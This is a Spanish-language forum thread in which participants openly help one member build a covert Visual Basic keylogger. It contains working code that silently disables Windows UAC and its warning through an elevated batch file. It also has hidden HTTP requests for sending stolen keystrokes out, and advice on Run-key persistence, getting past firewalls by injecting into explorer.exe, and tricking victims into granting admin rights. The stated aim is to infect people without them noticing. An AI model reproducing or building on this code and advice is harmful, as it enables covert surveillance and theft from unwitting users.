En un blog encontre el siguiente codigo:
Option Explicit
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Const SW_NORMAL = 1
Const SW_HIDE = 0
Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"
If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If
End
End Sub
Private Function Elevate(strPath As String) As Boolean
Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long
With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With
On Error Resume Next
lnRet = ShellExecuteEx(ExInfo)
If lnRet <> 1 Then
Elevate = False
Exit Function
End If
Elevate = True
End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long
hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub
Que desactiva el UAC
aqui escribo un poco de la descripcion que puso el autor:
Citarby Mono Gramatical at/on 18:29
in
Bueno, estuve probando con algunas claves del registro del Windows Vista, y me parecio interesante dos valores EnableLUA y UACDisableNotify, la primera deshabilita la UAC y la segunda hace que no se muestre la notificación de seguridad que advierte que la UAC ha sido deshabilitada. el inconveniente con esto es que solo se pueden agregar estos valores al registro con privilegios administrativos, es por eso que opte por utilizar la API ShellExecuteEx que combinada con el verbo "Runas" hace que una determinada aplicación solicite y corra con privilegios. para ello primero creo un bat que escribe en el registro y lo ejecuto con privilegios si se acepta la uac queda deshabilitada y de esta forma puedo copiarme a las carpetas del sistema y modificar las claves que activada la UAC no podriamos modificar.
Nos es algo muy bueno pero se puede deshabilitar la UAC sin levantar sospechas
El problema es que al ejecutar el Bat SALTA el control de usuarios y volvemos al principio, :/
Alguien sabe algo respecto a como desactivar el UAC con VB?
mira esto solicita privilegios de administrador para ejecutar el bat es lógico que te salte el cartel de que necesita permisos para su ejecución o no lo hace cualquier otro programa? acaso no te has fijado que hasta los propios programas de eindows solicitan permiso de ejecucion ?, en vista aun no he visto como hacer que ese letrero de solicitud de privilegios salte, creo que no has entendido que después de ejecutar el bat con los privilegios de administrador hace que se escriban las claves necesarias para que se desactive la UAC, pero tienes que reiniciar el sistema, para que surta efecto.
la otra manera de hacer bypass es usar claves del registro y carpetas que no sean sospechosas para la uac, el famoso kavo.exe se extendio demasiado y afecto a muchos ordenadores con vista y la uac ni enterada.
saludos
:-[ :-[ :-[ disculpa q no haya publicado la url de tu blog bro pero no sabia si lo tomarian como spam.
si entendi bien lo que hace el script pero crei que tambien era invisible la advertencia de correrse el bat.
Esque lo quiero usar para un Keylogger que tengo en VB y manda la info por iexplore y al estar activado el UAC las ventanas de iexplore no aparecen invisibles, porque creo que el UAC desactiva el metodo:
ShellExecute Me.hwnd, vbNullString, "iexplore.exe", sUrl & & Cadena, "C:\", 0
deberia abrirse el iexplore de forma invisible pero se abre maximizado.
Option Explicit
'SHELL32
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_HIDE As Long = 0
Private Sub Form_Load()
Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
End Sub
A mi me funciona... Win 7...MOD: No, al final aparece
Prueba con CreateProcess/WinExec :¬¬ ;)
Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)
Saludos ;)
Otra cosa, vuelvo a lo mismo....
Para poder meter con VisualBasic en el registro dentro de "RUN" teniendo el UAC activo no se graba nada =(
colocalo en la clave Run del HKEY_CURRENT_USER, eso no debe presentarte problemas
Gracias hermano :D
Fue lo que hize.
ya voy burlando UAC!
Solo falta que abra el iexplore invisible.
Cita de: Karcrack en 23 Mayo 2009, 15:45 PM
Option Explicit
'SHELL32
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_HIDE As Long = 0
Private Sub Form_Load()
Call ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
End Sub
A mi me funciona... Win 7...MOD: No, al final aparece
Prueba con CreateProcess/WinExec :¬¬ ;)
Por cierto, si en vez de pasar la URL como parámetro la pones directamente se abre con el Navegador por defecto ;)
Saludos ;)
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados :silbar:
buscare acerca de lo que me dijiste espero encontrar algo.
podria ser con la winsock api, no?
dejenme probar....
Cita de: A2Corp en 23 Mayo 2009, 22:55 PM
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados :silbar:
CitarCall ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
Saludos
Cita de: Novlucker en 23 Mayo 2009, 23:57 PM
Cita de: A2Corp en 23 Mayo 2009, 22:55 PM
pero seguiria abriendose en forma visible xD y seria muy obvio que estan infectados :silbar:
CitarCall ShellExecute(0&, "OPEN", "http://www.google.es", vbNullString, vbNullString, SW_HIDE)
Saludos
En windows vista con el UAC activado esta opcion no funciona ;)
Y en Win7 es lo mismo, ya lo dijo karcrack
CitarA mi me funciona... Win 7...MOD: No, al final aparece
Tienes razón, retiro lo dicho, creo que me voy a tener que montar una VM con Vista :-X
Saludos
Con este código puedes hacerlo sin problemas ;D
Public Sub OpenURL(ByVal sURL As String)
Dim oHttp As Object 'New WinHttp.WinHttpRequest
Dim sData As String
'Cargamos el WinHttp
Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
With oHttp
'Establecemos el método de conexión y la URL
.Open "GET", sURL
'Enviamos la petición
.Send
End With
'Descargamos el WinHttp
Set oHttp = Nothing
End Sub
También puedes hacerlo con las APIs correspondientes ;) (InternetOpen*)
Pensé que lo hacías abriendo el 'Iexplorer.exe' para bypassear los FireWalls...
gracias por el code bro, tambien pude hacerlo agregando el componente de internet control xD
pero creo que iria mejor con la api.
Gracias!
Edito:
AAAh..............
no habia leido lo de bypass los firewalls, de hecho por eso lo hacia con iexplorer :-X
Mmmmmm tengo que probar como va con el firewall de windows.
:/
sino pues a ver que pasa.
un saludo!
Te recomiendo usar el código que he puesto o usar las APIs, si usas el control INET estas metiendo otra dependencia... odio las dependencias :-X :-X :laugh:
El bypass al FW podrías hacerlo inyectando el código en el Explorer.exe... pero tal vez te suene muy avanzado...
Prueba a agregar el manifest al fichero para que el Vista/W7 pida que se ejecute como Administrador... muchos caen... diría que incluso todos...
http://www.novell.com/coolsolutions/tools/18193.html
Saludos ;)
Sabes probe con mi codigo y el firewall de windows no salta, para el grupo de personas que lo tengo enfocado no creo que tengan firewall.
ESPERO!
Por cierto, que problema hay si uso el componente webbrowser?
:S
mmmmmmmmmh bro con tu codigo no se puede mandar ñ ni acentos vdd? :-[
Primero has de codear una funcion que pasa los caracteres especiales a los de las URLs... tengo una, pero no esta en este PC... por ejemplo '@' -> %40 ;D
Si luego puedo posteo la funcion ;)
Los inconvenientes de usar el *OCX ? Son bastantes... entre ellos dependencia de un fichero que no ha de estar en todos los PCs, y augmento de peso si 'packearas' :P
Saludos ;)
es cierto, en este caso dependo de ieframe.dll, correcto?
Quienes pueden no tener esta dll?
d q dependeria? de tener internet explorer o de qe?
seguire viendo opciones.
con la api de wininet y internetopenurl tambien se podria?